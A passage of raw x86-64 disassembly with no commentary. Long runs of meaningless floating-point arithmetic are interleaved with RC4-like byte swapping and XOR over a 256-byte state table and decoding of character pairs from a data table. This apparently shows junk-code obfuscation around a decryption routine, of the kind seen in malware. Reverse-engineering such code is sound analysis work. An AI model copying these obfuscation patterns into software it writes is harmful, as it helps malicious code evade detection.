movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x68]
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
movsd xmm2, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x40]
mulsd xmm2, xmm0
movsd qword [rsp + 0x40], xmm2
movsd xmm1, qword [rsp + 0x48]
movsd xmm0, qword [rsp + 0x58]
subsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm2, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x58]
subsd xmm2, xmm0
movsd qword [rbp - 0x80], xmm2
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x60]
mulsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x68]
comisd xmm0, xmm1
jbe 0x14012a134
movsd xmm1, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x48]
addsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm2, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x58]
subsd xmm2, xmm0
movsd qword [rsp + 0x40], xmm2
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x40]
movzx r12d, byte [rbp + 0x125]
addsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm2, qword [rsp + 0x48]
movsd xmm0, qword [rsp + 0x68]
addsd xmm2, xmm0
movsd qword [rsp + 0x68], xmm2
movsd xmm1, qword [rsp + 0x48]
movsd xmm0, qword [rsp + 0x68]
addsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
movsd xmm2, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x60]
subsd xmm2, xmm0
movsd qword [rbp - 0x80], xmm2
movsd xmm1, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x60]
subsd xmm1, xmm0
movsd qword [rbp - 0x80], xmm1
jmp 0x14012a3a3
movsd xmm1, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x68]
addsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
movsd xmm2, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x68]
mulsd xmm2, xmm0
movsd qword [rsp + 0x68], xmm2
movsd xmm1, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x60]
mulsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
movsd xmm2, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x58]
divsd xmm2, xmm0
movsd qword [rsp + 0x50], xmm2
movsd xmm1, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x68]
addsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
movsd xmm2, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x50]
divsd xmm2, xmm0
movsd qword [rsp + 0x40], xmm2
movsd xmm1, qword [rsp + 0x60]
movsd xmm0, qword [rsp + 0x48]
addsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm2, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x68]
addsd xmm2, xmm0
movsd qword [rsp + 0x68], xmm2
movsd xmm1, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x60]
mulsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
movsd xmm2, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x68]
mulsd xmm2, xmm0
movsd qword [rsp + 0x68], xmm2
movsd xmm1, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x58]
divsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm2, qword [rsp + 0x48]
movsd xmm0, qword [rbp - 0x80]
addsd xmm2, xmm0
movsd qword [rbp - 0x80], xmm2
movsd xmm1, qword [rsp + 0x48]
movsd xmm0, qword [rsp + 0x60]
divsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm2, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x50]
addsd xmm2, xmm0
movsd qword [rsp + 0x50], xmm2
movsd xmm1, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x58]
comisd xmm0, xmm1
movsd xmm1, qword [rsp + 0x50]
jbe 0x14012a312
movsd xmm0, qword [rsp + 0x40]
addsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm2, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x68]
mulsd xmm2, xmm0
movsd qword [rsp + 0x68], xmm2
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x50]
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm2, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x48]
subsd xmm2, xmm0
movsd qword [rbp - 0x80], xmm2
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x68]
addsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm2, qword [rsp + 0x48]
movsd xmm0, qword [rsp + 0x60]
divsd xmm2, xmm0
movsd qword [rsp + 0x48], xmm2
movsd xmm1, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x68]
addsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
jmp 0x14012a3a3
movsd xmm0, qword [rsp + 0x58]
divsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm2, qword [rsp + 0x60]
movsd xmm0, qword [rsp + 0x40]
divsd xmm2, xmm0
movsd qword [rsp + 0x60], xmm2
movsd xmm1, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x40]
mulsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm2, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x58]
divsd xmm2, xmm0
movsd qword [rsp + 0x50], xmm2
movsd xmm1, qword [rsp + 0x48]
movsd xmm0, qword [rbp - 0x80]
addsd xmm1, xmm0
movsd qword [rbp - 0x80], xmm1
movsd xmm2, qword [rsp + 0x68]
movsd xmm0, qword [rbp - 0x80]
subsd xmm2, xmm0
movsd qword [rsp + 0x68], xmm2
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x50]
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movzx edx, byte [rbp + 0x127]
lea rax, [fcn.14087b4a3]
movzx ecx, byte [rax]
mov ebx, r15d
movzx r9d, byte [rax + 1]
movzx r10d, byte [rbp + r11 + 0x120]
movss xmm0, dword [0x1408b9a9c]
movss xmm1, dword [0x1408b99f4]
movss dword [rbp - 0x80], xmm0
movss xmm0, dword [0x1408b9900]
movss dword [rsp + 0x48], xmm1
movss xmm1, dword [0x1408b97e8]
movss dword [rsp + 0x40], xmm0
movss xmm0, dword [0x1408b96f8]
movss dword [rsp + 0x50], xmm1
movss xmm1, dword [0x1408b95e8]
movss dword [rsp + 0x60], xmm0
movss xmm0, dword [0x1408b94d8]
movss dword [rsp + 0x78], xmm1
movss dword [rsp + 0x58], xmm0
movss xmm1, dword [rsp + 0x58]
movss xmm0, dword [rsp + 0x40]
mulss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x58]
subss xmm2, xmm0
movss dword [rsp + 0x40], xmm2
movss xmm1, dword [rsp + 0x58]
movss xmm0, dword [rsp + 0x48]
mulss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
movss xmm2, dword [rsp + 0x58]
movss xmm0, dword [rsp + 0x50]
addss xmm2, xmm0
movss dword [rsp + 0x50], xmm2
movss xmm1, dword [rsp + 0x58]
movss xmm0, dword [rsp + 0x40]
mulss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x58]
subss xmm2, xmm0
movss dword [rsp + 0x48], xmm2
movss xmm1, dword [rsp + 0x78]
movss xmm0, dword [rsp + 0x58]
subss xmm1, xmm0
movss dword [rsp + 0x78], xmm1
movss xmm1, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x78]
comiss xmm0, xmm1
jbe 0x14012a574
movss xmm1, dword [rsp + 0x50]
xor cl, cl
movss xmm0, dword [rsp + 0x78]
subss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm2, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x48]
mulss xmm2, xmm0
movss dword [rsp + 0x48], xmm2
movss xmm1, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x40]
addss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x78]
divss xmm2, xmm0
movss dword [rsp + 0x50], xmm2
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x50]
divss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
movss xmm2, dword [rsp + 0x40]
movss xmm0, dword [rbp - 0x80]
mulss xmm2, xmm0
movss dword [rbp - 0x80], xmm2
movss xmm1, dword [rsp + 0x58]
movss xmm0, dword [rsp + 0x60]
mulss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
jmp 0x14012a614
movss xmm1, dword [rsp + 0x60]
add cl, 2
movss xmm0, dword [rsp + 0x50]
addss xmm1, xmm0
shl cl, 4
movss dword [rsp + 0x50], xmm1
movss xmm2, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x48]
addss xmm2, xmm0
movss dword [rsp + 0x48], xmm2
movss xmm1, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x78]
subss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm2, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x48]
addss xmm2, xmm0
movss dword [rsp + 0x48], xmm2
movss xmm1, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x78]
subss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm2, dword [rsp + 0x78]
movss xmm0, dword [rsp + 0x60]
mulss xmm2, xmm0
movss dword [rsp + 0x60], xmm2
movss xmm1, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x50]
addss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movsd xmm0, qword [0x1408b91a8]
xor r8b, r8b
movsd xmm1, qword [0x1408b8fe8]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [0x1408b8dc0]
movsd qword [rsp + 0x48], xmm1
movsd xmm1, qword [0x1408b8bd0]
movsd qword [rsp + 0x68], xmm0
movsd xmm0, qword [0x1408b89b0]
movsd qword [rbp - 0x80], xmm1
movsd qword [rsp + 0x58], xmm0
movsd xmm1, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x58]
subsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm2, qword [rsp + 0x58]
movsd xmm0, qword [rbp - 0x80]
mulsd xmm2, xmm0
movsd qword [rbp - 0x80], xmm2
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x40]
addsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm2, qword [rsp + 0x68]
movsd xmm0, qword [rsp + 0x58]
subsd xmm2, xmm0
movsd qword [rsp + 0x68], xmm2
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x40]
mulsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x40]
comisd xmm0, xmm1
jbe 0x14012a74c
movsd xmm1, qword [rsp + 0x68]
lea r8d, [r9 + 0x29]
movsd xmm0, qword [rsp + 0x48]
or r8b, cl
mulsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm2, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x68]
mulsd xmm2, xmm0
movsd qword [rsp + 0x68], xmm2
movsd xmm1, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x68]
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
movsd xmm2, qword [rsp + 0x58]
movsd xmm0, qword [rbp - 0x80]
mulsd xmm2, xmm0
movsd qword [rbp - 0x80], xmm2
movsd xmm1, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x68]
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
jmp 0x14012a7b5
movsd xmm1, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x58]
divsd xmm1, xmm0
movsd qword [rbp - 0x80], xmm1
movsd xmm2, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x40]
subsd xmm2, xmm0
movsd qword [rsp + 0x58], xmm2
movsd xmm1, qword [rsp + 0x48]
movsd xmm0, qword [rsp + 0x68]
subsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm2, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x68]
mulsd xmm2, xmm0
movsd qword [rsp + 0x68], xmm2
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rbp - 0x80]
addsd xmm1, xmm0
movsd qword [rbp - 0x80], xmm1
movsd xmm0, qword [0x1408b91c0]
movsd xmm1, qword [0x1408b8f68]
movsd qword [rsp + 0x58], xmm0
movsd xmm0, qword [0x1408b8d28]
movsd qword [rsp + 0x40], xmm1
movsd xmm1, qword [0x1408b8a60]
movsd qword [rsp + 0x68], xmm0
movsd qword [rbp - 0x80], xmm1
movsd xmm2, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x68]
mulsd xmm2, xmm0
movsd qword [rsp + 0x68], xmm2
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rbp - 0x80]
subsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm2, qword [rsp + 0x68]
movsd xmm0, qword [rbp - 0x80]
subsd xmm2, xmm0
movsd qword [rsp + 0x68], xmm2
movsd xmm1, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x40]
mulsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm1, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x40]
comisd xmm0, xmm1
jbe 0x14012a8a8
movsd xmm1, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x68]
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
movsd xmm2, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x58]
subsd xmm2, xmm0
movsd qword [rbp - 0x80], xmm2
movsd xmm1, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x58]
addsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm2, qword [rsp + 0x68]
movsd xmm0, qword [rsp + 0x40]
addsd xmm2, xmm0
movsd qword [rsp + 0x40], xmm2
jmp 0x14012a8fe
movsd xmm1, qword [rsp + 0x68]
movsd xmm0, qword [rsp + 0x58]
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
movsd xmm2, qword [rsp + 0x68]
movsd xmm0, qword [rsp + 0x58]
divsd xmm2, xmm0
movsd qword [rsp + 0x68], xmm2
movsd xmm1, qword [rsp + 0x68]
movsd xmm0, qword [rsp + 0x58]
divsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
movsd xmm2, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x40]
divsd xmm2, xmm0
movsd qword [rbp - 0x80], xmm2
movzx eax, byte [rbp + 0x121]
mov r11, r10
movzx esi, byte [rbp + 0x123]
movzx r9d, byte [rbp + r10 + 0x120]
movsd xmm0, qword [0x1408b8248]
add sil, byte [rbp + rax + 0x120]
lea edi, [rax + 1]
movsd xmm1, qword [0x1408b8e50]
movzx r10d, sil
movzx eax, byte [rbp + r10 + 0x120]
mov byte [rbp + r11 + 0x120], al
movsd qword [rsp + 0x68], xmm0
movsd xmm0, qword [0x1408b8ce0]
movsd qword [rbp - 0x80], xmm1
movsd xmm1, qword [0x1408b8ae8]
movsd qword [rsp + 0x48], xmm0
movsd xmm0, qword [0x1408b8958]
movsd qword [rsp + 0x40], xmm1
movsd qword [rsp + 0x58], xmm0
movsd xmm1, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x58]
subsd xmm1, xmm0
movsd qword [rbp - 0x80], xmm1
movsd xmm2, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x68]
addsd xmm2, xmm0
movsd qword [rsp + 0x68], xmm2
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x68]
addsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
movsd xmm2, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x40]
addsd xmm2, xmm0
movsd qword [rsp + 0x40], xmm2
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rbp - 0x80]
addsd xmm1, xmm0
movsd qword [rbp - 0x80], xmm1
movsd xmm1, qword [rsp + 0x68]
movsd xmm0, qword [rsp + 0x58]
comisd xmm0, xmm1
jbe 0x14012aa66
movsd xmm1, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x48]
mulsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm2, qword [rsp + 0x68]
movsd xmm0, qword [rbp - 0x80]
subsd xmm2, xmm0
movsd qword [rsp + 0x68], xmm2
movsd xmm1, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x68]
addsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
movsd xmm2, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x68]
mulsd xmm2, xmm0
movsd qword [rsp + 0x68], xmm2
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x68]
addsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
jmp 0x14012aae1
movsd xmm1, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x48]
subsd xmm1, xmm0
movsd qword [rbp - 0x80], xmm1
movsd xmm2, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x68]
movzx eax, byte [rbp + rdx + 0x120]
mulsd xmm2, xmm0
mov byte [rbp + r10 + 0x120], al
movsd qword [rsp + 0x68], xmm2
movsd xmm1, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x48]
addsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm2, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x58]
subsd xmm2, xmm0
movsd qword [rsp + 0x40], xmm2
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x40]
addsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movss xmm0, dword [0x1408b9ae8]
movss xmm1, dword [0x1408b9a54]
movzx ecx, dil
movzx eax, byte [rbp + rcx + 0x120]
mov byte [rbp + rdx + 0x120], al
movss dword [rsp + 0x60], xmm0
movss xmm0, dword [0x1408b9968]
movss dword [rsp + 0x78], xmm1
movss xmm1, dword [0x1408b985c]
movss dword [rsp + 0x50], xmm0
movss xmm0, dword [0x1408b972c]
movss dword [rsp + 0x40], xmm1
movss xmm1, dword [0x1408b9624]
movss dword [rsp + 0x58], xmm0
movss xmm0, dword [0x1408b94f0]
movss dword [rsp + 0x48], xmm1
movss dword [rbp - 0x78], xmm0
movss xmm1, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x50]
mulss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm2, dword [rsp + 0x40]
movss xmm0, dword [rbp - 0x78]
subss xmm2, xmm0
movss dword [rsp + 0x40], xmm2
movss xmm1, dword [rsp + 0x60]
movss xmm0, dword [rbp - 0x78]
subss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm2, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x50]
addss xmm2, xmm0
movss dword [rsp + 0x50], xmm2
movss xmm1, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x78]
mulss xmm1, xmm0
movss dword [rsp + 0x78], xmm1
movss xmm2, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x78]
mulss xmm2, xmm0
movss dword [rsp + 0x78], xmm2
movss xmm1, dword [rsp + 0x60]
movss xmm0, dword [rbp - 0x78]
subss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm1, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x78]
comiss xmm1, xmm0
jbe 0x14012ae6f
movss xmm1, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x60]
mulss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm2, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x58]
subss xmm2, xmm0
movss dword [rsp + 0x50], xmm2
movss xmm1, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x78]
mulss xmm1, xmm0
movss dword [rsp + 0x78], xmm1
movss xmm2, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x40]
mulss xmm2, xmm0
movss dword [rsp + 0x40], xmm2
movss xmm1, dword [rsp + 0x58]
movss xmm0, dword [rbp - 0x78]
divss xmm1, xmm0
movss dword [rsp + 0x58], xmm1
movss xmm2, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x78]
divss xmm2, xmm0
movss dword [rbp - 0x78], xmm2
movss xmm1, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x78]
mulss xmm1, xmm0
movss dword [rbp - 0x78], xmm1
movss xmm2, dword [rsp + 0x48]
movss xmm0, dword [rbp - 0x78]
divss xmm2, xmm0
movss dword [rsp + 0x48], xmm2
movss xmm1, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x78]
divss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm2, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x78]
divss xmm2, xmm0
movss dword [rsp + 0x60], xmm2
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rbp - 0x78]
divss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
movss xmm2, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x48]
mulss xmm2, xmm0
movss dword [rsp + 0x48], xmm2
movss xmm1, dword [rsp + 0x78]
movss xmm0, dword [rsp + 0x50]
divss xmm1, xmm0
movss dword [rsp + 0x78], xmm1
movss xmm2, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x78]
mulss xmm2, xmm0
movss dword [rsp + 0x78], xmm2
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x60]
comiss xmm1, xmm0
jbe 0x14012add4
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rbp - 0x78]
subss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
movss xmm2, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x60]
addss xmm2, xmm0
movss dword [rbp - 0x78], xmm2
movss xmm1, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x60]
addss xmm1, xmm0
movss dword [rbp - 0x78], xmm1
movss xmm2, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x60]
mulss xmm2, xmm0
movss dword [rbp - 0x78], xmm2
movss xmm1, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x78]
divss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm2, dword [rsp + 0x58]
movss xmm0, dword [rsp + 0x40]
addss xmm2, xmm0
movss dword [rsp + 0x40], xmm2
movss xmm1, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x48]
addss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
jmp 0x14012af0c
movss xmm1, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x60]
addss xmm1, xmm0
movss dword [rbp - 0x78], xmm1
movss xmm2, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x58]
mulss xmm2, xmm0
movss dword [rsp + 0x58], xmm2
movss xmm1, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x50]
mulss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm2, dword [rsp + 0x78]
movss xmm0, dword [rsp + 0x50]
subss xmm2, xmm0
movss dword [rsp + 0x78], xmm2
movss xmm1, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x60]
subss xmm1, xmm0
movss dword [rbp - 0x78], xmm1
movss xmm2, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x78]
divss xmm2, xmm0
movss dword [rsp + 0x60], xmm2
movss xmm1, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x50]
mulss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
jmp 0x14012af0c
movss xmm1, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x78]
subss xmm1, xmm0
movss dword [rbp - 0x78], xmm1
movss xmm2, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x40]
addss xmm2, xmm0
movss dword [rsp + 0x40], xmm2
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x60]
addss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
movss xmm2, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x78]
subss xmm2, xmm0
movss dword [rbp - 0x78], xmm2
movss xmm1, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x58]
subss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm2, dword [rbp - 0x78]
movss xmm0, dword [rsp + 0x58]
addss xmm2, xmm0
mov byte [rbp + rcx + 0x120], r9b
movss dword [rsp + 0x58], xmm2
movss xmm1, dword [rsp + 0x78]
movss xmm0, dword [rsp + 0x40]
subss xmm1, xmm0
movss dword [rsp + 0x78], xmm1
add r12b, byte [rbp + r9 + 0x120]
movzx r9d, byte [rbp + rcx + 0x120]
movzx eax, r12b
movzx ecx, byte [rbp + rax + 0x120]
movzx eax, byte [rbp + rdx + 0x120]
add rcx, rax
movzx eax, byte [rbp + r11 + 0x120]
add rcx, rax
movzx eax, cl
movzx ecx, byte [rbp + rax + 0x120]
movzx eax, byte [rbp + r10 + 0x120]
add rax, r9
movzx eax, al
movzx edx, byte [rbp + rcx + 0x120]
xor dl, byte [rbp + rax + 0x120]
mov eax, r15d
xor dl, r8b
mov r15d, 0xa
add eax, 2
mov r13d, ebx
mov dword [rsp + 0x68], eax
lea rcx, [fcn.14087b4a3]
cdqe
add sil, r9b
add rax, rcx
movzx r9d, sil
inc dil
movzx ecx, byte [rax + 1]
movzx r11d, byte [rax]
movzx eax, byte [rbp + r9 + 0x120]
add r11b, 2
shl r11b, 4
lea r10d, [rcx - 0xd7]
add cl, 0x29
or r11b, cl
mov dword [rbp - 0x80], r10d
movzx r10d, r8b
movzx r8d, dl
movzx ecx, dil
movzx r14d, byte [rbp + r10 + 0x120]
mov byte [rbp + r10 + 0x120], al
movzx eax, byte [rbp + r8 + 0x120]
mov byte [rbp + r9 + 0x120], al
movzx eax, byte [rbp + rcx + 0x120]
mov byte [rbp + r8 + 0x120], al
mov byte [rbp + rcx + 0x120], r14b
add r12b, byte [rbp + r14 + 0x120]
movzx eax, r12b
movzx ecx, byte [rbp + rax + 0x120]
movzx eax, byte [rbp + r8 + 0x120]
add rcx, rax
movzx r8d, r11b
movzx eax, byte [rbp + r10 + 0x120]
add rcx, rax
movzx eax, cl
movzx ecx, byte [rbp + rax + 0x120]
movzx eax, byte [rbp + r9 + 0x120]
add rax, r14
movzx eax, al
movzx edx, byte [rbp + rcx + 0x120]
xor dl, byte [rbp + rax + 0x120]
xor dl, r11b
add ebx, 1
je 0x14012b06e
mov byte [rbp + r13 + 0x330], dl
mov eax, dword [rsp + 0x68]
movzx r9d, r14b
sub r15, 1
jne 0x14012af75
movss xmm0, dword [0x1408b9ab0]
lea rcx, [fcn.14087b4a3]
movss xmm1, dword [0x1408b7b28]
mov dword [rsp + 0x68], ebx
inc ebx
mov byte [rsp + 0x70], r12b
lea eax, [rbx + rbx]
mov dword [rsp + 0x58], eax
cdqe
add rax, rcx
movzx ecx, byte [rax + 1]
movzx r13d, byte [rax]
movss dword [rsp + 0x60], xmm0
movss xmm0, dword [0x1408b9658]
movss dword [rsp + 0x78], xmm1
movss dword [rsp + 0x50], xmm0
movss xmm1, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x50]
subss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm2, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x78]
mulss xmm2, xmm0
movss dword [rsp + 0x78], xmm2
movss xmm1, dword [rsp + 0x78]
movss xmm0, dword [rsp + 0x50]
subss xmm1, xmm0
movss dword [rsp + 0x78], xmm1
movss xmm1, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x78]
comiss xmm1, xmm0
movss xmm1, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x60]
jbe 0x14012b23b
mov eax, dword [rbp - 0x80]
subss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm2, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x60]
addss xmm2, xmm0
movss dword [rsp + 0x50], xmm2
movss xmm1, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x78]
subss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
movss xmm2, dword [rsp + 0x60]
movss xmm0, dword [rsp + 0x50]
divss xmm2, xmm0
movss dword [rsp + 0x60], xmm2
movss xmm1, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x78]
divss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm2, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x78]
subss xmm2, xmm0
movss dword [rsp + 0x50], xmm2
movss xmm1, dword [rsp + 0x78]
movss xmm0, dword [rsp + 0x60]
comiss xmm1, xmm0
movss xmm1, dword [rsp + 0x78]
jbe 0x14012b1fd
movss xmm0, dword [rsp + 0x60]
mulss xmm1, xmm0
movss dword [rsp + 0x60], xmm1
